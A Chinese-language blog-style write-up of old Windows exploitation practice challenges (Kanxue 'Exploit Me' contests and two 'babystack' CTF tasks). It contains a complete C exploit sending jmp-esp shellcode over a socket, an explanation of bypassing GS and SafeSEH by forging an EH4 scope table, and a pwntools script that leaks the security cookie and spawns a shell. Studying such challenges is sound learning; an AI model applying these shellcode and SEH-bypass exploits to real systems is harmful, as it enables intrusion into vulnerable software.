題目的來源是
微軟杯Exploit Me安全調試技術挑戰賽 賽題
題目下載鏈接
https://bbs.pediy.com/thread-133191.htm
辭舊迎新exploit me挑戰賽
題目下載鏈接
https://bbs.pediy.com/thread-57317.htm
其實題目都沒有什麼好說的==
都是一些很老的題目=== 純粹的是當作萌新練手用=
先看一下 辭舊迎新的 A題=
打開發現是 關於 socket 的通信內容
然後 再往下看發現了一個危險函數
首先大家注意我們接受可以是512字節的空間 那麼 參數傳進去的時候發現了
發現了直接的copy 竟然也沒有判斷一下 大小空間的問題==
然後可以直接 jmp esp shellcode 一把梭
至於jmp esp 我是在 kernel32.dll 裏面找到的=
下面的 exp
#include "stdafx.h"
#include "stdio.h"
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#include "winsock2.h"
#include <cstdlib>
#pragma comment (lib,"ws2_32.lib")
unsigned char shellcode[] =
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x61\x20\x20\x20\x68\x70\x69\x78\x69\x68\x79\x20\x70\x69\x68\x65\x64\x20\x62\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00";
int _tmain(int argc, _TCHAR* argv[])
{
/*
for (int i = 0; i < strlen((char *)shellcode); i++)
{
printf("%x ", shellcode[i]);
}*/
WSADATA ws;
sockaddr_in serveraddr;
char buffer[500];
SOCKET m_SockClient = INVALID_SOCKET;
WSAStartup(MAKEWORD(2, 2), &ws);
serveraddr.sin_family=AF_INET;
serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.159.139");
serveraddr.sin_port = htons(7777);
m_SockClient=socket(AF_INET, SOCK_STREAM, 0);
if (connect(m_SockClient, (sockaddr*)&serveraddr, sizeof(serveraddr)) !=0)
{
printf("[*]連接失敗!!\n");
}
else
{
memset(buffer, 41, 500);
memcpy(buffer + 200, "\x13\x44\x87\x7c",4);
memcpy(buffer + 204, shellcode, 189);
send(m_SockClient, buffer, strlen(buffer) + sizeof(char), 0);
closesocket(m_SockClient);
WSACleanup();
printf("[*]發送成功!!\n");
}
system("pause");
return 0;
}
用od 調試一下 發現了
成功執行到了shellcode 然後彈出了窗口
然後接下來的題目有空就回去繼續更新。。。
微軟杯第四題
打開題目
大致可以看到這麼多的東西
可以看到有一個危險函數已經標註起來了
然後可以看出是有一個異常處理
這裏可以根據異常處理 來繞過GS
這裏可以根據0days 的那本書 來找到答案
那麼我們來看一下 我們的情況
我們先去找一下我們說所的那個 call [ebp+n]
這裏的插件已經下載好了 我們呢來看一下
這裏我們找到了 call [ebp+0x30]
然後我們這裏到達了異常點
然後這裏已經用了shellcode 然後我們跟進去看一下
這裏的 棧看一下
那麼問題來了 這裏的 12ff44 是在哪
我們看一下
哦吼 !!!!!
那麼根據大佬們的exp 這個題目的思路就很清晰了
首先把se 的hander 給修改成 我們的 跳板 然後把上面的值搞成一個短跳轉
然後再跳到長跳轉的地方 然後去執行shellcode
然後 1.txt 的內容 詳情可以看
看雪的大佬文章
https://bbs.pediy.com/thread-134903.htm
很棒=
HITB GSEC BABYSTACK
這就是一道CTF的題目了 ==
參考了EX大佬的博客寫了這篇文章 ==
其中還有EX大佬寫的一個 東西 可以用來pwntools交互的
https://github.com/Ex-Origin/win_server
裏面用到的東西 就是 CreatePipe 然後利用的是 進程的管道通信 然後開啓了三個線程 分別就是 讀寫 結束
對此感興趣的同學 可以去看看ex 大佬寫的博客 還有代碼
然後我們先看這個題目
然後 發現是有異常處理的
溢出點就在 v9這裏
但是我們看彙編會發現 有gs保護 這個程序 還有safeseh 有點難頂
不過給了後門函數
這裏可以看到 這樣的代碼
.text:0040137C mov ecx, [ebp+var_CC]
.text:00401382 add ecx, [ebp+var_D0]
.text:00401388 cmp ecx, 3
個人猜測 應該就是 這個條件完全不成立 導致了 ida 直接給優化掉了 ====
不過這裏確實是一個後門函數
可以看到一開始就註冊了異常函數 這個異常函數 棧溢出就可以直接觸發
ok 後門函數有了 棧溢出的地方也找到了 繞過 GS 出發 SHE的方法也有了 接下來就是怎麼硬剛這個safeshe了
處理SHE的vcruntime140.dll 裏面拖入ida裏面可以看出很多東西
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 異或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame 等於 上圖 ebp - 10h 位置, framePointer 等於上圖 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 驗證 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 調用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 調用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
會發現了兩個好玩的地方 就是 調用 FilterFunc 調用 HandlerFunc 這兩個函數
其實這裏我們有了一個方法 就是 僞造 Scope Table 然後 僞造這兩個函數 就ok
注意一點就是 注意GS的恢復 上面還有GS的認證
僞造表 成功
成功拿到權限
Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+
exp 就直接用EX師傅的吧=== 思路get到了
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('10.0.0.37', 8080)
def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)
sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))
pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 733,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
pause()
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
然後suctf 有一道和上面類似的題目 也叫babystack ==
其實方法和上面的基本一樣 =
依然有後門函數 還有 任意讀取的功能
裏面可以看到一點
可以通過div 然後可以 有異常 進入 任意讀取的那個地方
然後 所有的思路 就和我們上面的一樣了
參考資料
http://blog.eonew.cn/archives/1182